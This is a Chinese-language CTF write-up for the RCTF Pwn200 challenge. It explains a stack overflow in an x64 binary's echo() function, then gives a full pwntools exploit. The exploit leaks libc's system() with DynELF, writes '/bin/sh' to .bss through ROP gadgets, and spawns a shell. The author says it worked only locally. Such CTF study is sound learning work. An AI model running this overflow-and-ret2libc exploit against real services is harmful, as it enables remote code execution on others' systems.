[RCTF]Pwn200 wp

0x00:

XCTF开赛了,只看了pwn,这次还比较有意思,有x86  x64  arm mips 多种cpu构架的pwn。自己只搞出了pwn200

0x01:

基本信息:

x64 动态链接 有调试符号(怪不得是最简单的...)  

开启的保护如图可以看到。

运行下,随便给点输入:

经过分析,发现问题出在echo()函数

而且这个bof的payload大概的格式:

payload = "A"*24+"BBBBBB"+"\x00\x00"

0x02:

  思路就是 利用构造的ROP链先去 leak 远程服务器上libc里的system地址,然后利用ROP链再次把 "/bin/sh" 和system()地址 写入程序的.bss段,最后再次利用ROP链去执行 system("/bin/sh")

  但是要注意:x64的函数调用 参数传递顺序是 RDI  RSI  RDX  RCX  R8  R9 之后的参数才用栈传递。

  在IDA中看下

  

  我们可以利用 pwntools的 去得到程序中write()read()这些系统调用的got,用来构造ROP。这时候要使用的是 通用型的ropgads,因为源程序中并没有一些辅助性的东西。

在初始化libc的时候,这些指令可以为我们所用来构造ROP,设置好参数。 

因为也没有给libc,所以要leak libc中的函数地址,pwntools的dynELF很好用。

0x03:

exp 如下

#!/usr/bin/env python
# coding=utf-8
# author:muhe
# http://www.cnblogs.com/0xmuhe/
from pwn import *

elf = ELF('./pwn200')
p=remote('127.0.0.1',6666)
#p = remote('180.76.178.48',6666)
#p = process('./pwn200')
addr1=0x40089A
addr2=0x400880
main_addr = 0x4007CD
ppppr=0x40089c
bss_addr=0x601078
got_write = elf.got['write']
got_read = elf.got['read']


flag=True
def leak(address):
    global flag
    junk = "A"*24
    p1=""
    p1+=junk
    p1+=p64(ppppr)
    p1+=p64(addr1)
    p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1)
    p1+=p64(addr2)
    p1+="\x00"*56
    p1+=p64(main_addr)
    p.recvuntil('F\n')
    p.send(p1)
    #raw_input()
    if flag:
        data = p.recv(8)
        flag=False
    else:
        p.recv(0x1b)
        data = p.recv(8)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

d = DynELF(leak, elf=ELF('./pwn200'))
system_addr = d.lookup('system','libc')
print "system_addr=" + hex(system_addr)


#----------------write /bin/sh to .bss-----------------#
junk = "A"*24
payload=""
payload+=junk
payload+=p64(ppppr)
payload+=p64(addr1)
payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload+=p64(addr2)
payload+="\x00"*56
payload+=p64(main_addr)

p.recvuntil('F\n')
print "payload 1 ...."
#raw_input()
p.send(payload)
sleep(1)
p.send("AAAABBBB")
p.send("/bin/sh\0")
p.send(p64(system_addr))
#raw_input()
print "sent .."
#raw_input()
sleep(1)

#-----------------get shell --------------------------#
junk = "A"*24
payload2=""
payload2+=junk
payload2+=p64(ppppr)
payload2+=p64(addr1)
payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload2+=p64(addr2)
payload2+="\x00"*56
payload2+=p64(main_addr)

p.recvuntil('F\n')
#raw_input()
print "payload 2 ...."
p.send(payload2)
print "ok get shell"

p.interactive()

  

打了一波本地

后来遇到个问题,exp打本地,或者是socket搭建起来的都可以打,但是远程服务器打不了。 - -#  尴尬

0x04: 

  算是学习了一波吧,有收获就是好的。

Show Me The #.
原文地址:https://www.cnblogs.com/0xmuhe/p/4968677.html